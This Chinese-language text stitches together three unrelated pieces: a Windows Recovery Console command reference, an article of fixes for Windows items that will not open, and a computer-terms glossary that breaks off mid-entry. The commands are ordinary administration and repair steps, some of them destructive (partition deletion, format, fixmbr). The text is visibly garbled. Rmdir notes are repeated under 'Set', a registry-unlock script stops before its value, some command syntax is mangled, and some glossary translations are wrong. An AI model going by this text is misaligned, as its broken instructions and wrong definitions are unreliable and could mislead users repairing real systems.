　　执行在文本文件中指定的命令。batch 命令仅在使用故障恢复控制台时才可用。故障恢复控制台可以从安装 CD 中启动。

　　batch input_file [ output_file]

　　参数

　　input_file ：指定包含要执行的命令列表的文本文件。Input_file 可以由驱动器号和冒号、目录名、文件名或它们的组合构成。

　　output_file ：如果指定，则在命名文件中存储命令输出。如果没有指定，输出将显示在屏幕上。

　　范例

　　下例将执行批处理文件 C:\ Jobs\ Find.txt 并将输出存储在文件 C:\ Jobs\ Results.txt 中：

　　batch c:\ jobs\ find.txt c:\ jobs\ results.txt

　　注意：批处理文件不能包含嵌套的 batch 命令。

　　Chdir (Cd)

　　显示当前目录的名称，或更改当前的文件夹。 　　含有下列参数的 chdir 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 chdir 命令。

　　chdir [drive:] [path] [ ..] 　　或者　　cd [drive:] [ path] [ ..]

　　参数　　无

　　如果不带任何参数，chdir 将显示当前驱动器和文件夹的名称。只与驱动器号一起使用（例如 cd C:），chdir 将显示指定驱动器上的当前目录。

　　[ drive:] [ path]

　　指定要改到的驱动器（如果不是当前驱动器）和目录。

　　[ ..]

　　指明要改到父文件夹。在 chdir 和两个句点之间插入一个空格。

　　注意 　　　· Chdir 将空格视作分隔符。用引号将包含空格的目录名扩起来。例如：

　　　　cd "driver cache"

　　　· Chdir 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

　　Copy

　　将单个文件复制到其他位置。含有下列参数的 copy 命令仅在使用故障恢复控制台时才可用。

　　可在命令提示符下使用带不同参数的 copy 命令。

　　copy source [ destination]

　　参数

　　source ：指定要被复制的文件的位置和名称。Source 可由驱动器号和冒号、目录名、文件名或组合所组成。

　　destination ：指定要复制到其中的文件或文件集的位置和名称。Destination 可以由驱动器号和冒号、文件夹名、文件名及组合而组成。

　　注意

　　　· 源可以是可移动媒体、当前 Windows 安装的系统目录中的任何目录、驱动器的根目录、本地安装源或 Cmdcons 目录。
　　　· 目标可以是除可移动媒体以外的任何与源相同的位置。如果没有指定目标，则默认为
当前目录。
　　　· Windows 安装 CD 中的压缩文件在复制过程中解压缩。
　　　· Copy 不支持通配符。

　　Delete (Del)

　　删除单个文件。含有下列参数的 delete 或 del 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 delete 或 del 命令。

　　delete [ drive:] [ path] filename　　或者　　del [ drive:] [ path] filename

　　参数

　　[ drive:] [ path] filename指定要删除的文件的位置和名称。

　　注意

　　　· Delete 只适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

　　Dir

　　显示目录中的文件和子目录列表。含有下列参数的 dir 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 dir 命令。 　　dir [ drive:] [ path] [ filename]

　　参数

　　[ drive:] [ path]

　　指定要查看列表的驱动器和目录。

　　[ filename]

　　指定要查看列表的特定文件或一组文件。可以使用多个文件名。文件名可以用空格、逗号或分号隔开。可以在 filename 参数中使用通配符（?和 *）显示一组文件。

　　Dir 还列出磁盘的卷标和序列号，以及所列文件的数目，累计大小和磁盘上剩余的可用空间（以字节计）。对于每个文件和子目录而言，dir 列出文件的扩展名、文件字节数、文件的最后修改日期和时间以及下列文件属性（如果可用）：

　　缩写　属性
　　 d　　目录
　　 h　　隐藏文件
　　 s　　系统文件
　　 e　　加密
　　 r　　只读
　　 a　　存档文件
　　 c　　已压缩
　　 p　　重新分析点

　　注意：

　　Dir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

　　Expand

　　从压缩文件中提取文件。通过该命令可从 .cab 文件或压缩文件中提取驱动程序文件。

　　含有下列参数的 expand 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 expand 命令。

　　expand source [ /F:filespec}] [ destination] [ /d] [ /y]

　　参数

　　source ：指定要展开的文件。如果源文件只包含一个文件，请使用该选项。source 可由驱动器号和冒号、目录名、文件名或组合所组成。不能使用通配符。

　　/f:size ：如果源文件包含多个文件，指定要提取的文件的名称。可以对要提取的文件使用通配符。

　　destination ：指定提取文件或每个单独文件的目标目录和（或）文件名。

　　/d ：列出 CAB 文件中包含的文件而不展开或提取。

　　/y ：在展开或提取文件时不出现覆盖提示。

　　范例

　　下例将从安装 CD 上的驱动程序 CAB 文件中提取 Msgame.sys 文件并将其复制到C:\ Windows\ System\ Drivers：

　　expand d:\ i386\ driver.cab \ f:msgame.sys c:\ windows\ system\ drivers

　　下例将展开压缩文件 Access.cp_：

　　expand d:\ i386\ acces.cp_c:\ windows\ system32\ access.cpl

　　下例将列出安装 CD 上的驱动程序 CAB 文件中的所有文件。

　　expand /d d:\ i386\ driver.cab

　　要点

　　　· 驱动程序 CAB 文件包含成千上万的文件，其中包括由 Windows 提供的大部分驱动程序。将所有文件从 CAB 文件展开到硬盘上需要花较长的时间和大量的磁盘空间。建议 仅从该文件中提取需要的文件。
注意
　　　· 如果没有指定目标，文件将被复制到当前目录。
　　　· 不能将软盘驱动器或 CD-ROM 等可移动媒体指定为目标。

　　Mkdir (md)

　　创建目录或子目录。含有下列参数的 mkdir 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 mkdir 命令。

　　mkdir [ drive:] path　　或者　　md [ drive:] path

　　参数

　　drive: ：指定要创建新目录的驱动器。

　　path ：指定新目录的名称和位置。不能使用通配符。

　　注意

　　　· Mkdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

　　Rename (Ren)

　　更改单个文件的名称。含有下列参数的 rename 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 rename 命令。

　　rename [ drive:] [ path] filename1 filename2　　或者　　ren [ drive:] [ path] filename1 filename2

　　参数

　　[ drive:] [ path] filename1

　　指定要重新命名的文件的位置和名称。不能使用通配符。

　　filename2

　　为文件指定新的名称。重新命名文件时不能指定新的驱动器或路径。 　　Rmdir (Rd)

　　删除目录。含有下列参数的 rmdir 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 mdir 命令。

　　rmdir [ drive:] path　　或者　　rd [ drive:] path

　　参数

　　[ drive:] path

　　指定要删除的目录的位置和名称。不能使用通配符。

　　注意

　　　· 目录必须为空否则命令失败。
　　　· Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

　　Type

　　显示文本文件的内容。使用 type 或 more 命令查看文本文件而不修改文件。含有下述参数的 type 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 type命令。

　　type [ drive:] [ path] filename　　或者　　more [ drive:] [ path] filename

　　参数

　　[ drive:] path] filename

　　指定要查看的文件的位置和名称。如果使用 NTFS 驱动器而且文件名包含空格，则必须用引号 (")将文件名引起来。

　　More

　　显示文本文件的内容。使用 more 或 type 命令查看文本文件而不修改文件。含有下列参数的 more 命令仅在使用故障恢复控制台时可用。可在命令提示符下使用带不同参数的 more命令。

　　more [ drive:] [ path] filename　　或者　　type [ drive:] [ path] filename

　　参数

　　[ drive:] path] filename

　　指定要查看的文件的位置和名称。

　　如果使用 NTFS 驱动器，而且文件名包含空格，则必须用引号 (")将文件名引起来。

第二部分：系统和磁盘操作命令

Bootcfg

　　bootcfg 命令启动配置和故障恢复（对于大多数计算机，即 boot.ini 文件）。

　　含有下列参数的 bootcfg 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 bootcfg 命令。

　　用法:

　　bootcfg /default　　设置默认引导项。

　　bootcfg /add　　　　向引导列表中添加 Windows 安装。

　　bootcfg /rebuild　　重复全部 Windows 安装过程并允许用户选择要添加的内容。

　　注意：使用 bootcfg /rebuild 之前，应先通过 bootcfg /copy 命令备份 boot.ini 文件。

　　bootcfg /scan　　　 扫描用于 Windows 安装的所有磁盘并显示结果。

　　注意：这些结果被静态存储，并用于本次会话。如果在本次会话期间磁盘配置发生变化，为获得更新的扫描，必须先重新启动计算机，然后再次扫描磁盘。

　　bootcfg /list　　　列出引导列表中已有的条目。 　　bootcfg /disableredirect 在启动引导程序中禁用重定向。

　　bootcfg /redirect [ PortBaudRrate] |[ useBiosSettings]

　　在启动引导程序中通过指定配置启用重定向。

　　范例：

　　bootcfg /redirect com1 115200
　　bootcfg /redirect useBiosSettings

　　hkdsk

　　创建并显示磁盘的状态报告。Chkdsk 命令还可列出并纠正磁盘上的错误。

　　含有下列参数的 chkdsk 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 chkdsk 命令。

　　vol [drive:] [ chkdsk [drive:] [/p] [/r]

　　参数　　无

　　如果不带任何参数，chkdsk 将显示当前驱动器中的磁盘状态。

　　drive: 指定要 chkdsk 检查的驱动器。
　　/p　　 即使驱动器不在 chkdsk 的检查范围内，也执行彻底检查。该参数不对驱动器做任何更改。
　　/r　　 找到坏扇区并恢复可读取的信息。隐含着 /p 参数。

　　注意

　　· Chkdsk 命令需要 Autochk.exe 文件。如果不能在启动目录（默认为\ %systemroot%\ System32）中找到该文件，将试着在 Windows 安装 CD 中找到它。如果有多引导系统的计算机，必须保证是在包含 Windows 的驱动器上使用该命令。 　　Diskpart

　　创建和删除硬盘驱动器上的分区。diskpart 命令仅在使用故障恢复控制台时才可用。

　　diskpart [ /add |/delete] [device_name |drive_name |partition_name] [size]

　　参数 无

　　如果不带任何参数，diskpart 命令将启动 diskpart 的 Windows 字符模式版本。

　　/add ：创建新的分区。

　　/delete ：删除现有分区。

　　device_name ：要创建或删除分区的设备。设备名称可从 map 命令的输出获得。例如，设备名称：
　　\ Device\ HardDisk0

　　drive_name ：以驱动器号表示的待删除分区。仅与 /delete 同时使用。以下是驱动器名称的范例：
　　D:

　　partition_name

　　以分区名称表示的待删除分区。可代替 drive_name 使用。仅与 /delete 同时使用。以下是分区名称的范例：

　　\ Device\ HardDisk0\ Partition1

　　 大小

　　要创建的分区大小，以兆字节 (MB)表示。仅与 /add 同时使用。

　　范例

　　下例将删除分区：

　　diskpart /delete \ Device\ HardDisk0\ Partition3
　　diskpart /delete F:

　　下例将在硬盘上添加一个 20 MB 的分区：

　　diskpart /add \ Device\ HardDisk0 20

　　Fixboot

　　向系统分区写入新的分区引导扇区。只有在使用故障恢复控制台时，才能使用 fixboot 命令。

　　fixboot [drive]

　　参数　　驱动器

　　将要写入引导扇区的驱动器。它将替代默认的驱动器（即用户登录的系统分区）。例如，驱动器：D:

　　范例

　　下列命令范例向驱动器 D:的系统分区写入新的分区引导扇区：

　　fixboot d:

　　注意: 如果不带任何参数，fixboot 命令将向用户登录的系统分区写入新的分区引导扇区。

　　Fixmbr

　　修复启动磁盘的 主启动记录。fixmbr 命令仅在使用故障恢复控制台时才可用。

　　fixmbr [ device_name]

　　参数

　　device_name

　　要写入新的主引导记录的设备（驱动器）。设备名称可从 map 命令的输出获得。例如，设备名称：

　　\ Device\ HardDisk0

　　范例

　　下列命令示例向指定设备写入一个新的主引导记录：

　　fixmbr \ Device\ HardDisk0

　　注意

　　　　· 如果不指定 device_name，新的主引导记录将被写入引导设备，即装载主系统的驱动器。
　　　　· 如果系统检测到无效或非标准分区表标记，将提示用户是否继续执行该命令。除非您访问驱动器有问题，否则不要继续进行。向系统分区写入新的主引导记录可能破坏分区表并导致分区无法访问。

　　Format

　　将指定的驱动器格式化为指定的文件系统。含有下列参数的 format 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 format 命令。

　　format [ drive:] [ /fs:file-system]

　　参数

　　drive: ：指定要格式化的驱动器。不能从故障恢复控制台格式化软盘。

　　/q ：对驱动器进行快速格式化。不扫描驱动器看是否有坏区域，因此只应对以前格式化过的驱动器使用该参数。

　　/fs:file-system ：指定要使用的文件系统：FAT 、FAT32 或 NTFS 。如果未指定文件系统，将使用现有的文件系统格式。

　　Map

　　显示驱动器号与物理设备名称的映射。该信息在运行 fixboot 和 fixmbr 命令时非常有用。

　　map 命令仅在使用故障恢复控制台时才可用。

　　Map [ arc]

　　参数

　　arc ：指示 map 命令显示高级 RISC 计算 (ARC)设备名称而不是设备名称。以下是 ARC 设备名称的范例：

　　multi(0)disk(0)rdisk(0)partition(1)

　　等价的设备名称是：

　　\ Device\ HardDisk0\ Partition1

　　范例

　　下例将物理设备名映射为使用 ARC 设备名称的驱动器号：

　　map arc

　　注意

　　· 如果不使用 arc 参数，则 map 命令显示设备名称。
　　· map 命令还显示文件系统的类型和每个磁盘的大小 (MB)。

第三部分：辅助操作和特殊功能命令

Cls

　　清除屏幕。

　　清除后的屏幕只显示命令提示符和插入点。

　　Disable

　　禁用 Windows XP 、Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。disable 命令仅在使用故障恢复控制台时才可用。

　　disable {service_name] |[ device_driver_name}

　　参数

　　service_name ：要禁用的系统服务名称。 　　device_driver_name ：要禁用的设备驱动程序名称。

　　范例

　　下例将禁用 Eventlog 服务：

　　disable eventlog

　　注意

　　　· disable 命令将指定的服务或驱动程序的启动类型设为 SERVICE_DISABLED 。
　　　· 使用 disable 命令禁用系统服务或设备驱动程序时，该系统服务或设备驱动程序上次启动类型的名称将显示在屏幕上。应该记下该名称，以便在需要时使用 enable 命令将启动类型恢复为上次的设置。
　　　· 共有五种启动类型。前三种类型是：SERVICE_AUTO_START 、SERVICE_DISABLED 和SERVICE_DEMAND_START 。对应的标准启动类型：自动、禁用和手动，通常使用“计算机管理”管理工具中的“服务”进行配置。后两种类型是：SERVICE_BOOT_START 和SERVICE_SYSTEM_START，通常用于配置加载设备驱动程序的方式。例如，在启动计算机时或启动 Windows 时加载。

　　Enable

　　启用 Windows XP 、Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。enable 命令仅在使用故障恢复控制台时才可用。

　　enable {service_name |device_driver_name}[ startup_type]

　　参数

　　service_name ：要启用的系统服务的名称。

　　device_driver_name ：要启用的设备驱动程序的名称。

　　startup_type ：要为服务或设备驱动程序指派的启动类型。有效的启动类型包括：

　　　· SERVICE_BOOT_START

　　　· SERVICE_SYSTEM_START

　　　· SERVICE_AUTO_START

　　　· SERVICE_DEMAND_START

　　范例

　　下例将 Eventlog 服务的启动类型设为自动或 SERVICE_AUTO_START：

　　enable eventlog service_auto_start

　　注意

　　　· 如果不指派启动类型，enable 命令将列出在 service_name 中指定的服务或设备驱动程序的当前启动类型。

　　　· 使用 enable 命令更改启动类型时，上次启动类型的名称将显示在屏幕上。应该记下该名称，以便在需要时将启动类型恢复为上次的设置。

　　Exit

　　关闭故障恢复控制台并重新启动计算机。exit 命令仅在使用“故障恢复控制台”时才可用。

　　exit

　　参数　　无

　　Help

　　提供有关故障恢复控制台命令的联机信息。

　　help [ commandname]

　　参数　　无

　　列出故障恢复控制台中提供的命令。

　　commandname

　　提供有关命令信息，包括命令使用的参数。

　　注意

　　　· 有两种方法可以获得命令的联机帮助。可以指定 help 命令后的命令名称，或者可以在命令提示符中键入该命令名称和 /?。开关。例如，键入下列命令可以获得有关extract 命令的信息：

　　　　help extract
　　　　extract /?

　　Listsvc

　　列出计算机上可以使用的服务和驱动程序。listsvc 命令仅在使用故障恢复控制台时才可用。

　　listsvc

　　参数　　无

　　Logon

　　登录到 Windows 安装。logon 命令仅在使用故障恢复控制台时才可用。

　　logon

　　参数　　无

　　注意

　　　· logon 命令将列出所有检测到的 Windows 安装，需要安装的本地管理员密码才能登录。

　　　· 如果 3 次登录尝试都失败，“故障恢复控制台”会退出并且计算机将重新启动。

　　Net use

　　将网络共享连接到驱动器号。含有下列参数的 net use 命令仅在使用故障恢复控制台时可用。在命令提示符下可以使用带不同参数的 net use 命令。

　　语法

　　net use [ \ \ ComputerName\ ShareName [ /user:[ DomainName\ ] UserName] password] |[ drive
letter:] [ /d]

　　参数

　　\ \ servername\ sharename

　　指定服务器和共享资源的名称。如果 computername 包含空白字符，则将计算机名从双反斜杠 (\ \ )到计算机名结尾用引号 (")括起来。计算机名长度可以是 1 到 15 个字符。

　　/user

　　指定建立连接的用户名。

　　域名

　　确认用户的凭据时所要使用的域名。

　　用户名

　　指定登录时使用的用户名。

　　密码

　　指定访问共享资源所需的密码。不输入密码，将给出要键入密码的提示。在密码提示行处键入密码时不显示密码。

　　/d

　　表示将不断开该连接。

　　Set

　　显示和设置“故障恢复控制台”的环境变量。set 命令是必须与安全模板一同使用的可选命令。

　　含有不同参数的 set 命令仅在使用故障故障恢复控制台时可用。可在命令提示符下使用带不同参数的 set 命令。

　　set [ variable=[ string] ]

　　参数

　　variable

　　指定需要设置或修改的变量。

　　“故障恢复控制台”支持以下环境变量：

　　　　变量　　　　　　　　　　 说明

　　AllowWildCards　　　　允许某些命令（如 del 命令）支持通配符。

　　AllowAllPaths　　　　允许访问系统上的所有文件和目录。

　　AllowRemovableMedia　　允许文件复制到可移动媒体上，如软盘。

　　NoCopyPrompt 覆盖现有文件时不显示提示。

　　string

　　指定要与指定变量关联的字符串。

　　范例

　　下例允许在某些故障恢复控制台命令中使用通配符：

　　set allowwildcards=true

　　指定要删除的目录的位置和名称。不能使用通配符。

　　注意

　　　· 目录必须为空否则命令失败。

　　　· Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。

　　Systemroot

　　将当前目录设置为用户登录到的 Windows 安装系统的 systemroot 文件夹。systemroot 命令仅在使用故障恢复控制台时可用。

　　systemroot

　　参数　　无

　

　

系统文件无法打开故障解决方法

我们在使用Windows操作系统的过程中，因为一些故障或者病毒的原因，造成了系统的一些文件夹和应用程序无法打开，而这些都是我们在使用电脑过程中所必须的，所以很多时
候这些故障让我们烦恼不已。如何解决这些故障呢？下面的文章中我们就给大家介绍一些Windows操作系统中一些常遇的“无法打开”故障解决技巧。

　　无法打开“我的电脑”，“我的文档”等

　　解决方法：可能是Explorer程序出错了，通过下面的方法可以解决相关故障

　　一、打开记事本,将以下内容添加到记事本中，并保存为AAA.bat文件,然后打开,依次点确定即可(如还不可以请试下第二种方法);

regsvr32 appwiz.cpl
regsvr32 mshtml.dll
regsvr32 jscript.dll
regsvr32 msi.dll
regsvr32 "C:\Program Files\Common Files\System\Ole DB\Oledb32.dll"
regsvr32 "C:\Program Files\Common Files\System\Ado\Msado15.dll"
regsvr32 mshtmled.dll
regsvr32 /i shdocvw.dll
regsvr32 /i shell32.dll

　　二、如果以上还不能修复,请将下面内容复制到记事本中,并保存为yezi.reg文件 然后打开;

　　Windows Registry Editor Version 5.00
　　[HKEY_CLASSES_ROOT\exefile\shell\Open\command]
　　@=""%1" %*"

　　文件夹无法打开

　　解决方法：

　　1、在资源浏览器或者我的电脑里面无法打开文件夹，双击鼠标不是打开文件夹而是进入了搜索界面可以修改注册表来恢复，进入注册表的HKEY_CLASSES_ROOT\Directory\shell，把find删除。还有一个方法就是点"文件夹"的"高级"选项里的"新建"，在"操作"里输入"OpenNew"，接着再在"用于执行操作的应用程序"里输入"Explorer %1"就行了。如果删除find，那不用配置。如果新建OpenNew，那还需把"Opennew"设为默认。

　　2、在"我的电脑"中，无论打开哪个盘中的文件夹，都会出现"查找"的对话框，但用鼠标右键点击文件夹后选择"打开"后又能进入运行控制面板，双击"文件夹选项"，点击"文件类型"标签，在"已注册的文件类型"列表下找到"文件夹"并选中它，单击"高级"按钮，在出现的"编辑文件类型"对话框中，如果只有"find"一项，则在"操作"下点击"新建"按钮，在"新操作"对话框的操作下面输入"Open"，在"用于执行操作的应用程序"下面填入"C:\Windows\Explorer.exe"，然后点击"确定"，选中建立的"Open"，点击"设为默认值"按钮；如果已经有"Open"，则直接选中它并设成默认值即可。

　　EFS加密文件夹无法打开怎么办

　　解决方法：

　　EFS（Encrypting File System，加密文件系统）是从Windows 2000开始就提出的一种基于NTFS文件系统的核心文件加密技术，主要是用于保护本地数据。在使用EFS加密文件的同时，也产生了诸多麻烦，比如重装系统后无法打开EFS加密过的文件夹等等，那么我们该如何解密?现在让我们先来看看大家的讨论。

　　备份及导入密钥来解密

　　为了防止在重装系统后无法打开加密文件夹，我们可以通过下面的方法来备份及导入密钥：点击“开始→运行”，输入“certmgr.msc”，回车后打开证书管理器。展开“证书/个人/证书”，右键单击在右侧窗口中以用户名为名称的证书，在“所有任务”中选择“导出”打开证书导出向导。单击“下一步”之后选择“是，导出私钥”，单击“下一步”，选择默认导出文件格式，再单击“下一步”，输入保护密码和确认密码，单击“下一步”后指定文件名，最后单击“完成”即可。

　　这样在重装系统之后，右键单击导出的私钥文件，选择“安装PFX”之后就可以一步一步导入私钥。导入完成后，就可以顺利地打开EFS加密的文件夹。

　　软件的方法不可靠

　　在没有备份密钥的情况下，要对EFS解密几乎是不可能的，虽然网上流行很多种方法，但是可行性微乎其微，劝大家放弃。因为某些EFS使用的是公钥证书对文件加密，而且在Windows 2000/XP中，每一个用户都使用了惟一的SID（安全标志）。第一次加密文件夹时，系统会根据加密者的SID生成该用户的密钥，并且会将公钥和密钥分开保存。如果在重装系统之前没有对当前的密钥进行备份，那就意味着无论如何都不可能生成此前的用户密钥，而解密文件不仅需要公钥，还需要密码，所以也就根本不能打开此前EFS加密过的文件夹。

无法打开“添加/删除程序”

　　导致无法打开“添加/删除程序”的原因可能是动态链接库文件注册失效了，只要重新注册这些文件就可以了。

　　解决方法：在“开始→运行”中输入下列命令，并依次在弹出窗口中确认即可。

regsvr32 Appwiz.cpl
regsvr32 Jscript.dll
regsvr32 Mshtml.dll
regsvr32 Msi.dll
regsvr32 Mshtmled.dll
regsvr32 "c:\Program Files\Common Files\System\Ado\Msado15.dll"
regsvr32 "c:\Program Files\Common Files\System\Ole DB\Oledb32.dll"

　D盘无法打开的问题

　　Windows XP操作系统笔者都经常遇到，D盘双击无法打开，点击右键一看，原来首先项是“自动播放”，所以就必须用右键中的打开才行，C盘和E盘双击打开正常。

　　解
决方法：是Autorun.inf这个文件有问题，将属性去除掉后删除，然后在注册表中查找autorun.inf所指向的文件，查到后将shell这个子项删除，即可打开D盘。

　　无法打开快捷方式

　　现在我双击快捷方式后，总是没有反应，请问如何解决？

　　其实，快捷方式和一般文件一样，都属于某种文件类型。如果快捷方式（*.lnk）所连接的程序丢失或错误，就会造成这类文件无法打开。解决的方法如下：

　　1、Windows 2000 、Windows XP ：

　　运行“assoc .lnk=lnkfile”，然后重新启动即可。

　　2、Windows 98 ：

　　下载lnkfile.reg。双击打开它，然后单击【确定】按钮，将该完整的注册表数据添加到当前系统的注册表中即可。

　　局域网无法打开

　　出现这种情况可能有两大类:

　　(1)网络连接是正常的，所看到的也是即时的网络现状;

　　(2). 所看到的只是一个假象，实际上网络连接不通。

　　解决方法：对于前一种情况，我们就要介绍一下，网上邻居用户访问本机共享资源的用户身份，访问权限。通常我们通过网上邻居访问其它计算机资源是以“guest(来宾)”账号进行的，这一方面是大多数读者所不了解的，因为在实际的访问中，根本没有体现这一点。这个guest用户访问是不需输入任何密码的，用户名也不用，由系统默认了(就是guest)。正因如此，如果真正能看到共享资源，而且网络连接正常，则很可能是本机上的guest账户不可用。此时打开相应系统的用户账户管理程序查看的“guest”账号是否正常打开，如果“guest”账号前面的小图标上有一个红*，那表明“guest”账号当前被禁用，单击右键打开即可。

　　至于如果网络连接根本不正常，却在网上邻居上看到了其他计算机上的共享资源，那就要涉及到在浏览服务原理介绍篇中所介绍的主浏览器缓存现象了，也有可能是在交换机上保留了主浏览器的浏览列表备份，虽然网络连接不正常，但由于在缓存中仍存有以前的浏览列表，所以仍看到了以前的共享资源。这主要出现在不正常退出系统情况下，如非正常关机、死机等。解决的办法当然就是重新检查网络连接和配置了，参见前面相关故障介绍。

　　注册表无法打开

　　解决方法：注册表是 Window 系统的中枢和心脏，它记录着操作系统中绝大多数的设置。在 Window 系统中有一个附带的注册表编辑工具，使用它可以很方便地访问和修改注册表，这就是Regedit。

　　然而，现在网上的恶意程序利用注册表修改了IE的主页后，它不仅仅修改了注册表，而且为了防止您使用注册表程序修改会禁止使用注册表，当执行这一命令时，系统会弹出一个对话框：“注册表编辑 已被管管理员禁用。”这时注册表工具已被锁定。

　　可以采用下面的两种方法来解决该问题：

　　一、用脚本解决该问题

　　让我们按以下步骤来解除锁定：

　　1、点击“开始”菜单，从“程序”->“附件”中找到“记事本”命令并执行它。

　　2、在记事本窗口中输入以下内容：REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
 

计算机英文术语完全介绍 1、CPU 3DNow!（3D no waiting） ALU（Arithmetic Logic Unit，算术逻辑单元） AGU（Address Generation Units，地址产成单元） BGA（Ball Grid Array，球状矩阵排列） BHT（branch prediction table，分支预测表） BPU（Branch Processing Unit，分支处理单元） Brach Pediction（分支预测） CMOS（Complementary Metal Oxide Semiconductor，互补金属氧化物半导体） CISC（Complex Instruction Set Computing，复杂指令集计算机） CLK（Clock Cycle，时钟周期） COB（Cache on board，板上集成缓存） COD（Cache on Die，芯片内集成缓存） CPGA（Ceramic Pin Grid Array，陶瓷针型栅格数组） CPU（Center Processing Unit，中央处理器） Data Forwarding（数据前送） Decode（指令译码） DIB（Dual Independent Bus，双独立总线） EC（Embedded Controller，嵌入式控制器） Embedded Chips（嵌入式处理器） EPIC（explicitly parallel instruction code，并行指令代码） FADD（Floationg Point Addition，浮点加） FCPGA（Flip Chip Pin Grid Array，反转芯片针脚栅格数组） FDIV（Floationg Point Divide，浮点除） FEMMS（Fast Entry/Exit Multimedia State，快速进入/退出多媒体状态） FFT（fast Fourier transform，快速热奥姆转换） FID（FID：Frequency identify，频率鉴别号码） FIFO（First Input First Output，先入先出队列） flip-chip（芯片反转） FLOP（Floating Point Operations Per Second，浮点操作/秒） FMUL（Floationg Point Multiplication，浮点乘） FPU（Float Point Unit，浮点运算单元） FSUB（Floationg Point Subtraction，浮点减） HL-PBGA（表面黏着，高耐热、轻薄型塑料球状矩阵封装） IA（Intel Architecture，英特尔架构） ICU（Instruction Control Unit，指令控制单元） ID（identify，鉴别号码） IDF（Intel Developer Forum，英特尔开发者论坛） IEU（Integer Execution Units，整数执行单元） IMM（Intel Mobile Module，英特尔移动模块） Instructions Cache（指令缓存） Instruction Coloring（指令分类） IPC（Instructions Per Clock Cycle，指令/时钟周期） ISA（instruction set architecture，指令集架构） KNI（Katmai New Instructions，Katmai新指令集，即SSE） Latency（潜伏期） LDT（Lightning Data Transport，闪电数据传输总线） Local Interconnect（局域互连） MESI（Modified，Exclusive，Shared，Invalid：修改、排除、共享、废弃） MMX（MultiMedia Extensions，多媒体扩展指令集） MMU（Multimedia Unit，多媒体单元） MFLOPS（Million Floationg Point/Second，每秒百万个浮点操作） MHz（Million Hertz，兆赫兹） MP（Multi-Processing，多重处理器架构） MPS（MultiProcessor Specification，多重处理器规范） MSRs（Model-Specific Registers，特别模块寄存器） NAOC（no-account OverClock，无效超频） NI（Non－Intel，非英特尔） OLGA（Organic Land Grid Array，基板栅格数组） OoO（Out of Order，乱序执行） PGA（Pin-Grid Array，引脚网格数组，耗电大） PR（Performance Rate，性能比率） PSN（Processor Serial numbers，处理器序列号） PIB（Processor In a Box，盒装处理器） PPGA（Plastic Pin Grid Array，塑料针状矩阵封装） PQFP（Plastic Quad Flat Package，塑料方块平面封装） RAW（Read after Write，写后读） Register Contention（抢占寄存器） Register Pressure（寄存器不足） Register Renaming（寄存器重命名） Remark（芯片频率重标识） Resource contention（资源冲突） Retirement（指令引退） RISC（Reduced Instruction Set Computing，精简指令集计算机） SEC（Single Edge Connector，单边连接器） Shallow-trench isolation（浅槽隔离） SIMD（Single Instruction Multiple Data，单指令多数据流） SiO2F（Fluorided Silicon Oxide，二氧氟化硅） SMI（System Management Interrupt，系统管理中断） SMM（System Management Mode，系统管理模式） SMP（Symmetric Multi-Processing，对称式多重处理架构） SOI（Silicon-on-insulator，绝缘体硅片） SONC（System on a chip，系统集成芯片） SPEC（System Performance Evaluation Corporation，系统性能评估测试） SQRT（Square Root Calculations，平方根计算） SSE（Streaming SIMD Extensions，单一指令多数据流扩展） Superscalar（超标量体系结构） TCP（Tape Carrier Package，薄膜封装，发热小） Throughput（吞吐量） TLB（Translate Look side Buffers，翻译旁视缓冲器） USWC（Uncacheabled Speculative Write Combination，无缓冲随机联合写操作） VALU（Vector Arithmetic Logic Unit，向量算术逻辑单元） VLIW（Very Long Instruction Word，超长指令字） VPU（Vector Permutate Unit，向量排列单元） VPU（vector processing units，向量处理单元，即处理MMX、SSE等SIMD指令的地方） 2、主板 ADIMM（advanced Dual In-line Memory Modules，高级双重内嵌式内存模块） AMR（Audio／Modem Riser；音效／调制解调器主机板附加直立插卡） AHA（Accelerated Hub Architecture，加速中心架构） ASK IR（Amplitude Shift Keyed Infra-Red，长波形可移动输入红外线） ATX（AT Extend，扩展型AT） BIOS（Basic Input/Output System，基本输入/输出系统） CSE（Configuration Space Enable，可分配空间） DB（Device Bay，设备插架） DMI（Desktop Management Interface，桌面管理接口） EB（Expansion Bus，扩展总线） EISA（Enhanced Industry Standard Architecture，增强形工业标准架构） EMI（Electromagnetic Interference，电磁干扰） ESCD（Extended System Configuration Data，可扩展系统配置数据） FBC（Frame Buffer Cache，帧缓冲缓存） FireWire（火线，即IEEE1394标准） FSB（Front Side Bus，前置总线，即外部总线） FWH（ Firmware Hub，固件中心） GMCH（Graphics & Memory Controller Hub，图形和内存控制中心） GPIs（General Purpose Inputs，普通操作输入） ICH（Input/Output Controller Hub，输入/输出控制中心） IR（infrared ray，红外线） IrDA（infrared ray，红外线通信接口可进行局域网存取和档共享） ISA（Industry Standard Architecture，工业标准架构） ISA（instruction set architecture，工业设置架构） MDC（Mobile Daughter Card，移动式子卡） MRH-R（Memory Repeater Hub，内存数据处理中心） MRH-S（SDRAM Repeater Hub，SDRAM数据处理中心） MTH（Memory Transfer Hub，内存转换中心） NGIO（Next Generation Input/Output，新一代输入/输出标准） P64H（64-bit PCI 